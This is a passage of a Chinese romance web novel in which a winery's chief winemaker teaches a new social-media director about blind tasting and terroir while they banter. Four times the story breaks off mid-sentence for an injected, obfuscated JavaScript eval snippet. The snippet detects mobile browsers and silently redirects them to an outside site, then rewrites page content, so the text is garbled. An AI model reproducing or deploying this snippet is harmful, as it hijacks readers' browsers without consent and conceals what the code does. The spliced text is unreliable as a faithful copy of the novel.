“对我而言，‘盲品’是一个入门级的游戏。”斯芸的首席酿酒师说，“除了用感官去体会细微的风味差别外，还需要辅以准确的知识与缜密的逻辑判断。” 好像非常遗憾似的，岳一宛耸了耸肩，“我觉得这是一个学习葡萄酒的有趣切入点。但如果你实在不喜欢的话，我们也不是不可以换一种方法……” 原来他是混血儿，杭帆恍然大悟，难怪会有一双令人印象深刻的绿眼睛。 “我倒也不是讨厌这种学习方式。” 谨慎又诚实地，小杭总监回答道，“只不过，‘盲品’的过程中需要反复地饮酒，这是不是对酒量的要求有点太高了？” 难不成，晋升为首席酿酒师的秘诀，就是在未成年时代起就开始超量饮酒？杭帆在肚子里暗暗腹诽：这听起来就很不靠谱啊！ “哦，这个啊，”岳一宛别开了目光，眼神可疑地闪烁起来：“其实就是，嗯，就是刚才说的，是我上课前忘记跟你讲了……” “在充分体会完酒液的味道之后，可以直接把它吐出来的。” “……这也是能忘记的？！” 看着对方那实打实的心虚神色，杭帆简直无力吐槽。 到头来，最不靠谱的竟是这厮本人！ “是真的忘了，绝对不是我故意使坏。” 岳一宛信誓旦旦，恨不能举起手来对天起誓：“毕竟，我在酒庄工作这么多年，也确实是没料到斯芸还能有酒量和你一样浅的工作人员。” “可以原谅我吗？”他伸出手来，“让我们重头再开始一次？” 酿酒师的微笑里，有一些真诚得如钻石碎片般耀着光芒的东西。这令杭帆无法抗拒地握住了他的手，再次点头道。 “好吧，”他说，喉头有些紧：“以后，还请你多多指教。” 晚上九点多，杭帆终于得到了出院的许可。 走出大门的那会儿，他的右手还摁着止血用的医用棉球。岳一宛自告奋勇，要替他拎装药的袋子。 夜深人静的医院停车场，纸盒子装的胃药在塑料袋里彼此摩擦，发出窸窸窣窣的响动。 ……就像是一群鬼鬼祟祟的大蟑螂，爬进厨余垃圾桶时会发出的那种的声音。 杭帆冷不丁这样想着，抬头瞥了眼走在前面的岳一宛，心头一乐，突然吭哧一声笑了出来。 听到身后动静，正在手里把玩着车钥匙的岳一宛也过头来，笑问道：“怎么了，想到什么开心事，笑这么嚣张？” 不问还好，他这一开口，杭帆也不知自己到底被戳中了哪处笑穴，彻底一发不可收拾地狂笑起来：“哈哈哈哈哈哈哈哈！” “噗！我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438193|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是觉得，咳！嗯。” 他徒劳地清着喉咙，一边用那只还贴着胶布的手比划，一边试图从笑声里挤出完整的句子：“现在这个画面——实在是有些滑稽。” 昏黄路灯下，岳一宛歪了歪头，似乎是在等杭帆把这话说完。 对于一个成年人而言，这个表情不免显得有些稚气，又有点太过于可爱了。 可蓦然之间，杭帆感觉自己到胸腔内的某处轻轻抽动了一下。 他的笑声戛然而止，舌头也突然变得笨拙，就好像每一个字词都变成了方方正正的糖块，生硬地卡在他的唇齿之间。 “就是觉得有点荒诞，”杭帆说，同时无不惶惑地意识到，自己的声调里正洋溢着多么明显的喜爱之情：“就是……你这一身衣服，看起来像是位滴滴专车司机。” 听了这话，岳一宛不由好笑地乜他一眼。这人旋即装腔作势地清了清嗓子，邀舞般彬彬有礼地伸出胳膊来，抑扬顿挫道：“既然今遭免不了要做这趟车夫，那杭总监可否赏脸，暂且充当一下今晚的灰姑娘呢？” 搓了搓胳膊上的鸡皮疙瘩，杭帆嫌嫌弃弃地把手指虚搭在了岳一宛的胳膊上：“就想提醒你一句，岳大师。”他阴气森森地低语道，“在灰姑娘的故事里，南瓜马车的车夫可是老鼠变的。” “杭总监，你这人怎么恩将仇报啊？”这位临时车夫一边叽叽咕咕地笑，一边连连倒抽冷气，“恶，我最讨厌老鼠！” 停车场的僻静角落里，岳一宛摁下了车钥匙上的开锁摁钮。 “请吧，总监殿下。”操弄着那副善意与俏皮兼而有之的挖苦腔调，他说：“唉，瞧瞧！为了不做老鼠车夫，我不得不把你从灰姑娘抬咖成一位公主。” 杭帆没空去为自己的新头衔抗议。 因为他略感惊悚地发现，岳一宛此人，开的竟是一台长城牌越野皮卡车。 “我以为像你这种个性……” 欲言又止了好一阵，坐上了副驾座的小杭总监终于开口。 只是话还没说完，就被驾驶座的那人给打断了：“哪种个性？” “骚包。” 杭帆强忍着笑，“哦，或者叫，‘酷炫狂狷’？反正，你给我的感觉就是那种，哪怕不开迈凯伦，高低也得开一辆大红色敞篷法拉利的人。” “你这是对我有偏见。”岳一宛正色，“咱们酒庄可是在山里。我在山里一天天地开轿跑给谁看？再说了，葡萄这种东西，又不会因为我开法拉利就对我献媚。” 他一边系上安全带，一边语重心长地拍了拍杭帆的肩：“而且，山里嘛，皮卡车也方便运送大件东西。你看，今天这不就用到了？” 病号凉飕飕地冲他飞去一记眼刀，“你说谁是东西呢？” “嗯？”无辜地眨了眨眼，某位一夜限定的南瓜车车夫反问说：“难道你不是个东西？” “拜托！这都已经是上个世纪的互联网烂梗了，你怎么还在用？”杭帆内心有些淡淡的崩溃，“您今年贵庚啊？” 岳一宛哈哈大笑。 “坐稳了，公主殿下！”说着，他脚下油门一踩，风驰电掣地冲上了公路。 8. 来自贫瘠土地 暖气将被窝烤得温热。 杭帆蜷身在这软绒绒热绵绵的床榻中，直睡得昏天黑地、骨酥腰软，浑已不知今夕何夕。 如果这份甜蜜的安然能一直延续下去，想来应当会是个分外惬意的早上吧。 “咚咚咚！” 不请自来的客人快乐地敲打起宿舍的木门。 “咚咚咚！咚咚咚！” 这人拍打门板的节奏极为轻快，活像是个在人家坟头上打鼓的讨厌鬼。 “杭帆，醒了吗？” 岳一宛这歹人，气沉丹田，声若洪钟，好一副要把棺材里死人都叫醒的架势。 “咚咚咚！快八点了！咚咚咚！你也该起床了吧？” 在“敌动我不动”的战略方针指导下，小杭同志意志坚定地在床上翻了个面，缓缓把被子拉过头顶，又把脑袋深深地埋进了枕头战壕中。 甭管岳大师又是在发什么癫，打定主意要睡到自然醒的杭帆，都只祈祷这人能在抽完风后自己走开。 可惜，人算不如天算。岳一宛之于杭帆，那简直就是一种自然灾害。 “杭帆，咚咚咚！还活着吗？咚咚咚！醒一醒！咚咚咚！就等你呢！咚咚咚！” 自然灾害这种东西，是绝不会因为你闭上眼睛又捂起耳朵，就知情识趣地走往别处的。 躲在名为“床铺”的阵地里挺尸了足足五分钟之后，杭帆不胜其扰，总算是气势汹汹地跳下了床来。 “你大爷的发神经啊！” 怒气冲天之下，他砰得一声推开宿舍门，恶狠狠瞪向那个扰人清梦的噪音喇叭：“大清早的，在这里鬼吼鬼叫个什么？清明节都还没到，这是招的哪门子魂！” 岳一宛敏捷地躲开了来自门板的物理攻击。 对于杭总监的起床气，他不仅丝毫不以为忤，还笑眯眯地撑着门框道：“我喊你半天都没有动静，还以为你又低血糖昏过去了呢。” 呵呵假笑两声，杭帆没好气地问他：“有何贵干？” “来给你上课啊，”斯芸的首席酿酒师，语调真诚得都快要析出糖晶来：“咱们昨天不是约好了吗？” 杭帆摸出手机看了一眼，简直难以置信：“现在才七点五十！” 他都怀疑这厮根本是在故意整蛊他：“我上学那会儿，连高中生都没有这么早就开始上课的！” “哦，是吗？”岳一宛可不在乎，只一个劲儿地催促他：“快快快，换身衣服，我们马上出发！” 好在某位酿酒师的良心似乎还未彻底烂透。 等杭帆拾掇好了自己并再次推开宿舍门之后，岳一宛拉起他的胳膊就往酒庄外走。一边走，还一边又往他手里塞了个尚且热乎着的三明治。 裹在一层半透明油纸里的，是夹着浓郁芝士的喧软面包片。新鲜生菜的叶子紧挨着酸甜可口的西红柿切片，而煎成半溏心状态的鸡蛋，娇滴滴地躺在最中间的夹层里。 “这是你自己做的？” 杭帆几口咬下去，眼睛一亮，腮帮子都鼓成了花栗鼠的颊囊：“嚯，手艺不错啊！比那些网红早餐店可好得多了！” “呵！就凭那些网红早餐店，哪家能够请得动我？” 田间小路开阔曲折，岳一宛走在前面领路，嘴里还在洋洋自得：“能吃上我亲手做的饭，这可不是谁都能有的待遇。杭总监，你要惜福啊！” 福气颇大的杭总监，面无表情地把手里的油纸揉成一团，精准砸中了酿酒师的后脑勺。 春风还未完全将这片土地唤醒。 敞亮日光下，广阔无垠的丘陵，如长轴画卷般自在疏阔地于天地间展开。 低矮的山丘起伏和缓。在目力能及的尽头，有一些稀稀疏疏的灰黄色落叶乔木顽强地屹立在未经开垦的山坡上，仿似一群饱经风霜的老人。 视线的近处，则是一阶阶高低错落的梯田。它们依山而辟，绵延不绝，是人类以智慧与劳动征服自然的最佳明证。 眼下，正是新叶还未来得及被熏风吹发的时辰。 一排排的葡萄藤，像一支支列队整齐的小小士兵，在木桩与铁丝的引导下，整整齐齐地站在田地里。春风料峭，藤条们举起了光秃秃又皱巴巴的枝丫，对着天空无声地呼号。 “我们这是要去哪里？” 爬上第二个山头之后，杭帆终于忍不住发问。 今天的岳一宛，也照旧是他惯常的那套打扮：衬衫外面穿着单排扣的西装马甲，脚下踩着一双厚底高帮的皮靴，一副随时都能从怀里摸出百夫长黑卡的派头。 可在那一条条碎石嶙峋、迂回曲折的田间小道上行走时，他的脚步却又轻捷无比，就好像他是在这片丘陵里出生长大、自幼就生活在这座葡萄田里似的。 杭帆单手举着运动相机，时不时都要小跑几步，才能勉强跟上酿酒师的前行速度。 他自认体力并不算差，但有了岳一宛做对比，他就像是刚学会走路的小娃娃那样，在碎石密布的田间走得跌跌撞撞。 面对杭帆的问话，岳一宛但笑不语。 “……你不会是想找个没人能看见的地方，好把我就地埋进田里，给你心爱的葡萄们做肥料吧？” 一连翻过几座山坡，小杭总监累得直喘气。 双腿的酸痛让大脑放松了对嘴巴的掌控，不知不自间，他已经随心所欲地胡言乱语起来：“虽然但是，岳大师，呼……我就想提醒你一句，斯芸酒庄不是法外之地！只要杀人抛尸，就一定会被绳之以法！” 走在前面的岳一宛，突然毫无预兆地停住了脚步。一个没留意，杭帆就这样直直地撞上了酿酒师的后背。 “我们到了。” 岳一宛笑吟吟地环抱起了胳膊：“顺带一提，这是我总结出的酒庄生存指南第一条：时刻注意脚下的路。” 捂着痛得一抽一抽的鼻子，小杭总监在心里爆出一句国骂。 这是故意的！他恨恨磨牙，这B人绝对是故意的！ 他们所站的地方是一片新翻整过的梯田。 杭帆注意到，附近的这几条田垄，虽然也与其他葡萄田一样竖有几排低矮木桩，却没有种下哪怕是一棵葡萄藤。 “我之前说过，要从头开始教你有关葡萄酒的知识。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438194|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岳一宛伸出臂膀，指向他们脚下的大地：“所以我们今天就从这最基础的开始，关于葡萄酒的‘风土’。” 在这块空荡荡的土地上，二人的眼前既没有葡萄，也没有葡萄酒。 只有猎猎的山风，呼啸着掠过灰扑扑的土地。 “‘风土’。” 杭帆喃喃自语地重复着这个词：“这概念听起来很抽象，可不像是‘最基础’的知识。” 岳一宛用鞋尖碾了碾脚下的砂土，“你刚才说，我要把你埋进田里当肥料——这句话显然是不对的。” 促狭地挤了挤眼睛，斯芸的首席酿酒师又道：“让我问你：你觉得我们刚才看到的那些葡萄园，土地肥沃吗？” 杭帆不解其意。 他正用运动相机拍摄一些视频素材，同时还要小心地避免把岳一宛的身影也纳入镜头画面里：“应该……不算吧？与南方的稻田相比，这里的土地还挺贫瘠的。” “没错。”岳一宛满意颔首，“酿酒用的葡萄，从不种植在真正肥沃的土地上。” “为什么？” “肥沃的土地会给葡萄藤提供过多的营养，使它们结出果实过于膨大多汁。如此一来，葡萄中的风味物质就不够浓缩，从而稀释了酒液的风味。”岳一宛说。 “不过，也有一种更通俗的说法。”他又道，“过去的酒农们相信，只有种植在贫瘠地带的葡萄藤，才能把根系深深钻入地表深处。唯有这样，结出来的葡萄才是精华中的精华。” “……我好像在哪里听过类似的职场鸡汤。就那种，说什么贫穷与困境都不过只是暂时的历练，年轻人不能只着眼于短期的利益……” 不无沉痛地，杭帆小声嘀咕起来：“但想想葡萄，我就觉得这话全都是放屁。” “结出了最好的果实，结果却是被人类摘去酿酒，连一粒种子都没给自己留下，这简直就是彻头彻尾的压榨！” 身为一头资深社畜，小杭总监不可自拔地与葡萄们深深共情了：“这要换我做葡萄藤，还不如从一开始就躺平摆烂呢。” “如果你真的能早点想开这点，恐怕也就不会被发配到山里来。” 岳一宛真是哪壶不开偏提哪壶的专业户。 “而且，随地大小躺的葡萄藤可活不到第二个春天。” 这人伸出手掌，要笑不笑地脖子上划了一记，嘴里悠悠地又补上了一刀：“咱们脚下这块田，去年种了的几千株葡萄藤。因为品质不好，所以秋天一过就全都给拔了。” 说者无心，听者有意。 想到这话里可能潜藏着的某种暗喻，杭帆就莫名地喉头发哽。 有一瞬间，他想到Harris，想到那个人说“别想着贪图安逸”时那令人恶心的、高高在上的表情。 他想到自己生物学意义上的父亲，想到那个人在电话里对杭艳玲大喊说“抚养费？你要学会自食其力！”的不耐烦语气。 “可是，人并不是葡萄。” 他的声音紧绷，好似无形中拉满的弓弦。 “葡萄藤可以被随意地遗弃，但人不应该被那样对待。” 9. 风土与酿酒师 岳一宛没有立刻做答。 好半天之后，风才将酿酒师的声音吹进杭帆的耳朵里。 “你说得对。人不是葡萄藤。人是一种有尊严的生物，不应该被践踏与遗弃。” 说这话的时候，他的目光在面前的这片光秃秃的葡萄田里沉浮。 “说回‘风土’这个概念。”酿酒师把话题拉回了原地：“近二十年前，罗彻斯特酒业正式进军大陆，斯芸是他们在中国建立的第一间葡萄酒酒庄。” 当时，有二十多名来自世界各地的酿酒师与种植专家帮忙参与了选址，岳一宛的母亲Ines就是其中之一。 “蓬莱地区依山傍水，局部气候较为温暖，从三百年前开始就有了种植葡萄的传统。而斯芸酒庄之所以最后定址在这片山头上，就是因为看中了这一带的花岗岩土壤。” 俯身从地上捡起一块石头，岳一宛用力吹了几下，附着其上的灰尘便扑簌簌地掉落下来。 “花岗岩坚硬，所以它的土壤非常贫瘠。生活在这样的土地上，葡萄藤不得不长出健壮的根系，拼尽全力地向地表的更深处索取营养，从而结出风味饱满又浓缩的果实。” “但这样的环境也有它得天独厚的益处。”岳一宛说。 “地处沿海区域，蓬莱的降水量较为丰沛，排水性能良好的花岗岩土壤，能确保葡萄藤的根系喝饱雨水，但又不至于被沉积在土地中的过量水份给浸泡到腐烂。花岗岩石块反射出去的一部分阳光，还可以生长中的葡萄得到更多的日光照射。” 他抓起杭帆的左手，不由分说地把石头塞进对方的掌心里。 “更重要的是，花岗岩土壤的储热能力，不会让过冬的葡萄藤冻死。” 岳一宛收拢五指，将杭帆的手与小石块一起包覆在掌中：“今天风很大，但你摸摸看这个，是不是比想象中还要温暖一点？” 同等温度下，花岗岩土壤中的碎石是否会比其他种类的石头要暖，杭帆实在不得而知。 但岳一宛的手确实是温热的。 酿酒师的手心宽阔，骨节分明，指腹与掌根处有一层薄而硬的茧。说话的时候，这人五指略一动作，薄茧轻轻搔过杭帆的手背，便有羽毛轻撩的酥麻，顺着胳膊窜进脊椎骨里。 杭帆攥紧手中的石块，不动声色地把手抽出来。 “充足的阳光，适量的水份，冬天时的地表温度。”小杭总监简概地归纳出了三个要点：“因为花岗岩土壤具有这样的特性，所以才让葡萄藤能够良好地生长，对吗？” “这么说来，葡萄酒中的所谓‘风土’二字，其实指代的是种植酿酒葡萄时的自然气候与土壤条件，对吧？” 在岳一宛赞许的目光里，杭帆的脑筋转得飞快：“那么，葡萄酒广告中所谓的‘风土特色’，实际上就是在说，不同类型的气候与土壤，会给葡萄与葡萄酒带来的不同味道？” “可既然花岗岩土壤最适合于种植酿酒葡萄，那全世界的酒庄也都应该选址在类似的地方。”他问，“既然土壤条件一样，那所谓的‘风土特色’，不就根本不存在了吗？” 举一反三，不点自通，杭帆无疑是个聪明人。 和聪明人打交道会很愉快，也能省去很多不必要的口舌，这让岳一宛笑意更甚。 “说得不错，”酿酒师道，“但并不全对。” 无论包装得再怎么高端大气上档次，归根结底，葡萄酒也仍然是一种由农业生产带来的副产品。 在过去的万余年历史中，“农业”这个概念被人类日渐完善，却没有任何一个文明，将“酿酒”的重要性位列于“耕种”之前——上古时代的华夏人民，只会把丰年余下的那部分黍谷用来酿造醴酒；而在号称“连吹过的风都是紫红色”的法国，那些最古老也最优秀的酒庄，也无不是从一块块荒芜而破碎的土地中站起来的。 最肥沃的土地会被用来种植稻谷与小麦。然后，围绕着耕地，聚落形成部族，部族又建造城市。 文明的进步，推动着人类对土地用途的拓展。在草原上，我们牧养牲畜，在海岸边，我们建立港口。 削山为石，煮海为盐，人类的历史，就是不断与自然相斗争的历史。 “在更久远一些的农耕时代，欧洲那些率先尝试着大规模种植酿酒葡萄的农民，可没有谁是因为对葡萄酒爱到发狂，才跑去种植这玩意儿的。” 抱起了胳膊，岳一宛侧脸看向旁边的那位社畜，啧啧作声：“就像杭总监你，也不是因为喜欢上班，才来罗彻斯特工作的吧？” 冷哼一声，杭帆心想，我上班是为了拿工资和还房贷，而你至今还没被人套上麻袋暴打一顿的唯一原因，可能只是因为过失杀人也会被判刑。 “请说重点。”小杭总监干巴巴地提醒这人。 岳一宛从善如流：“无论是因为天灾，又或是战乱，反正，当那些背井离乡的农夫们终于找到一处不会再被人驱赶的新家园时，他们很快就发现，这里根本无法种植小麦之类的作物。” “他们最后选择了种植葡萄并用来它们酿酒来卖，很可能只是因为，以当时的农业技术水平，其他种类的经济作物根本就存活不下来。不是他们主动选择了葡萄，是艰难的自然环境逼迫农夫们在最差的几种选项里，努力地去耕耘了最好的这一种可能。在这之后，为了能长期而稳定把葡萄换成粮食与金钱，他们的后代才逐渐开始建立起了酒庄。” “简而言之，诞生于现代的这些酒庄们，虽然是先决定了要酿酒与种葡萄，然后才去选址——但大家面对的实际困境，其实也和几百上千年前的那些农夫差不太多。” 从山巅俯瞰下去，这些平和起伏的低矮山岭，像是壮年男子侧身横躺下的健硕躯体。一阶阶的梯田，好似赤裸脊背上的一节节骨骼，任由血管般的溪水与河流途径那里，再与坚实的大地紧紧相连。 岳一宛的讲课风格完全就是兴之所至，也亏得杭帆能在这些散漫跳脱的叙述中抓住那最关键的一线。 “你的意思是说，葡萄酒的‘风土’，并不是人们凭主观喜好就能自由选择东西，是吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438195|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“没错！” 大力拍打着小杭总监的肩膀，岳一宛满脸都是孺子可教的欣慰神色。 “其实吧，适合种植酿酒葡萄的土壤类型可多了。黏土啦，砂土啦，淤泥土啦，还有石灰岩土壤，都能吃尽苦头的葡萄藤结出好果子。” 他一边说，一边拽着杭帆的胳膊往山下走，连语气都温和得像是换了个人似的，把杭帆脊背发毛：“看你的表情，你应该是想问，‘不同的土壤是不是会有不同特性’？嗯，猜得没错，杭帆同学加一百分！” “就比如说石灰岩土壤吧。这名字听起来和花岗岩土壤很像，但前者的排水性较差，建立在石灰岩土壤上的葡萄园，一般都需要人工介入以改善排水性能。” “但石灰岩中所富含的钙质与碳酸盐，能够有效地提高葡萄产量，甚至于能够完善葡萄品质，是绝佳的天然肥料。更重要的是，它还能给葡萄酒带来一种优雅且凝练的矿物质香气。” 矿物质香气？矿物……是有气味的吗？ 这个描述让杭帆的心头闪过了些许疑惑。但正在滔滔不绝着的那位，一时半会儿还没有要停下来接受提问的意思。 “正是这些不同特性的土壤，为葡萄与葡萄酒带来了不同的风味，当然，气候也是其中的决定性因素之一。可是，在为酒庄和葡萄园挑选地块的时候，却不是像在农贸市场里买大白菜那样，能有几百个上千个选项一字排开任君拣择。” 他说：“人类社会的都市化进程十分迅速，即便地广物博如我们脚下的这片伟大土地，认真检视起来的话，能留给酿酒葡萄种植用的地块，也实在是不多了。酒庄的选址，不仅气候与土壤都要适宜葡萄的生长，还不能与城镇、耕田、工厂、公路、军事等规划用地相冲突。落在现实层面上，又有与执行和政策相关的许许多多问题。” “说到底，‘风土’这种东西，绝大部分情况下都由不得我们自己去选择。毕竟，搞农业嘛，你总不可能对着大地挑三拣四，说，‘我不要花岗岩土壤，现在速速就我给变成石灰岩土壤’吧！” 岳一宛其人，平日里总以阴阳怪气为乐。开口说出的五句话里，少说也得有三句是在故意惹人生气。 可一旦起与酿酒和葡萄相关的事情，这位首席酿酒师就连声调都放得和蔼许多。说到激动处，更是目光灼灼，顾盼神飞，恨不得整个人都跳进土里，把自己也变成一株三十年树龄的葡萄藤。 “我一直以为，从来都不是酒庄与它的酿酒师选中了某个地块，而是那个地块自己，在冥冥之中呼唤了属于它的那座酒庄的到来。” 说这句话的时候，他的口吻极其认真，语调里有着近乎于信仰般的虔诚。 “酿酒师与风土的关系，就是像是人与命运。”岳一宛说。 如果命运给了你一串甜甜的葡萄，你大可以幸福地把它们一口吞掉。 “假如命运给了我无法下咽的酸葡萄，我就会把它们酿成一杯明亮轻盈的酒。” “这，就是酿酒师对他所身处的那片‘风土’的诠释。” 10. 前一位爱慕者 勤学好问的小杭总监，一边在脑子里做笔记，一边审慎地提出自己的疑问道：“那‘风土’的区别，具体会给葡萄酒带来什么样的不同风味呢？” “这我很难三言两语就跟你解释清楚，”岳一宛说，“当然，这不是因为我教学水平不行，是你现在还太菜了。” 杭帆深吸一口气。 杭帆呼出一口气。 杭帆甩了甩胳膊，把十个指节捏得嘎吱作响。 然后他默默地手持式运动相机换进了另一只手。 “哦。” 好人不与狗斗，小杭总监一脸冷漠。 上山难行，下坡路陡。 杭帆一边稳着脚下的步子，一边把手里捏着的石子亮给岳一宛看：“你的教具，”他说，“你还要用吗？不要我就丢了。” “什么？你不需要带回去珍藏起来吗？” 别人嘴里跑的是火车，岳一宛嘴里跑的是高铁：“这可是身为我亲传弟子的证明啊！要是换了别人，就是给我磕长头也我不一定愿意教——诶哟！” 这厮嘴上叫的响亮，实则伸手就截住了那块杭帆扔过来的小石头。 “我刚才就想问了，你干嘛举着相机？”抛接着手里的石块，斯芸的首席酿酒师漫不经心地向杭帆发问：“是在录Vlog？是要发个人账号的吗？你有很多粉丝？” 这人到底在说什么鬼话？杭帆的拳头都硬了。 “哈？我当然是在给酒庄的社交媒体账号录素材啊？！” 社畜小杭，嘶嘶地从牙缝里挤出了这几个字：“以防您老贵人多忘事——现在可是上班时间！” “呃……”这下，岳一宛确实露出了几分真心实意的惊讶：“所以你们这行，也是按朝九晚五来计算上下班的？” 他若有所思地摸了摸下巴，“我还以为，你的上班时间都是从下午开始计算的呢……毕竟，叫你起床可比诺曼底抢滩登陆要艰难多了。” “不好意思，”杭帆关闭了运动相机，语气凉凉：“会有这样的误解，大概是你孤陋寡闻的缘故。我们这一行，二十四小时都可以打卡上班。” “打卡之后，在岗不足八小时的算旷工，超过八小时的算自愿加班。” 牛马做久了，他连自嘲的口吻都变得风浪不惊。只要再多历练上两年，怕不是就能眼都不眨地去和傻逼老板们拼刺刀了。 岳一宛自己算是衔着金汤勺出生的。而斯芸酒庄的行政工作也很清闲，从人事到前台，从没有什么“昼夜颠倒连轴转”的说法。 他沉默了好一会儿，依旧无言以对，只能伸手拍了拍面前这只苦大仇深的社畜。 “往好里想，劳动，是光荣的行为！” 酿酒师语含悲悯，“要不然，我去跟全球总部提一嘴，让上面给你加加薪……？” 岳一宛与Harris之间不存在直接的上下级关系，他口中的所谓“上面”，毫无疑问是指罗彻斯特集团的全球总部——且不说岳大师为何突然善心大发，要替他这萍水之交的小虾米讨要加薪——这一开口，无异是升斗小民跑去紫禁城门口鸣冤击鼓，越级进京告御状呀！ “不不不不不，别别别别别！” 杭帆吓了一跳，迭声阻止：“岳大师，您的好意我心领了，心领了。虽然公司没有发加班费，但年终奖给够就行……” 职场沉浮几多年，无论是国企还是外企，小杭总监还从未听说过越级告状之后能有好下场的。 深知岳一宛不是那种会善罢甘休的类型，他赶紧又趁乱岔开话题道：“说起来，斯芸酒庄的社交媒体账号，现在是在谁的手上？这几天一直都没有人来和我交接工作。” 对于葡萄酒之外的话题，岳一宛明显兴致不高，连声调都懒洋洋地塌了下去。 “账号？大概是在人事那边保管吧。” 时近中午，太阳攀上了穹顶的正中。在酿酒师也把袖口挽得更高的同时，杭帆也把脱下的风衣外套系在了腰间。 “斯芸的那几个账号，都是酒庄人事部门开的吗？”杭帆职业性地感到了头痛，“我看到账户的内容页面全都是一片空白。只建立了账号，但什么内容都没有发布过啊……” 近些年来，大多数社交媒体平台，都暗暗地给他们的新用户一些流量上扶持。对杭帆他们而言，这也是一个能在短时间内让品牌被更多人看见的好几回。 所以，开设了账号却不使用，在杭帆看来，这罪大恶极的程度可与浪费粮食同属一个级别。 流量啊，我的流量啊！小杭总监痛不欲生地在心里哀叹道，这白白损失的流量，我要发布多少内容，才能重新挣回来啊！ 双手插在西装马甲的口袋里，岳一宛突然间嗤声一笑。 “社媒账号上的内容？那肯定是发过的。”他说，“前任运营总监不就是专门干这个的吗。” “只不过，那家伙的心眼比葡萄核儿还小。我听人说，在离职之前，他把斯芸酒庄的所有的账号都给清空了，似乎是想要以此来作为报复？” 轻蔑地折起了唇角，岳一宛甚至懒得去掩饰自己的不屑。 “呵，真是好笑。他以为自己这是能要挟谁呢？” “……嗯？” 杭帆的八卦雷达登时滴滴作响。 还在上海总部坐班的时候，他们组隔壁就是品牌舆情检测的办公室。一到茶歇时间，大家最喜欢干的事，就是去找隔壁同事切个“瓜”来吃。 说来惭愧，小杭总监虽然生着一副冷剑拭霜般的凛丽面孔，但一听有瓜，两只耳朵就立刻高高地竖了起来。 “……所以，我的前任，因为讨厌你的缘故，把斯芸酒庄的所有社交媒体账号都清空了？” 不知道公司的法务部门最后会向这人索赔多少。但此君能干出这样壮举，那得是有多讨厌岳一宛啊？ 这个念头刚一浮现，杭帆就赶紧咬住了自己的后牙槽：他怕自己笑得太过大声，被记仇的岳一宛送上胡萝卜大礼包。 “什么‘你的前任’‘我的前任’，别跟这种脏东西扯上关系。” 太平间的尸体都比岳一宛的语气更有温度。 “我讨厌那种死缠烂打又自我感动的人，刚巧，那人两样都占了。”酿酒师冷然道，“斯芸酒庄是工作场所，不是给他用来进行表演的舞台。既然他做不出成绩，又无法把专业地把公事与私情分开，那我也不介意伸手帮他一把——长痛不如短痛，早点滚蛋才是上上策。” 这故事听着像是最烂俗的职场情感纠纷，杭帆心想，他很是同情那位未曾谋面的受害人。 “因为情感问题而纠缠不放吗？这已经够得上性骚扰行为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438196|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。希望当事人没有留下心理阴影。” “我有什么可阴影的？”疑惑反问的岳大师，睫毛忽闪，是纯粹的邪恶化身。 三秒钟后，他又换了副嘴脸，夹起嗓子甜滋滋道：“不过，还是谢谢你的美意。杭总监，你人可真好呀！” 杭帆闭上眼睛，在心里重重地踢了自己一脚。 要早知道是这厮，我才懒得关心他嘞！ 可恶，人生为什么没有早知道？！ “哦，对了。” 酿酒师一拍脑门，好歹算是想起了一些正事：“你现在用的是自己的相机吧？我记得酒庄有给上一个运营买过一些电子设备，应该都寄存在行政他们的仓库里。需要的话，你都可以去领出来用。” “顺便一提，咱们今天的课还没有结束。” 岳大魔头眉眼弯弯，肚子里的坏水摇得哐啷哐啷响：“但我要去邻居那里弄点教具回来。不如杭总监先去忙，咱们中午12点在员工宿舍的厨房见？” 被安排得明明白白的小杭总监，惆怅地掐灭了再躺下睡个回笼觉的最后一丝希望。 趁着岳一宛出去找“教具”（也不知这人又上哪里去祸害无辜了），杭帆终于得空，把斯芸酒庄的办公区域给好好转了一圈。 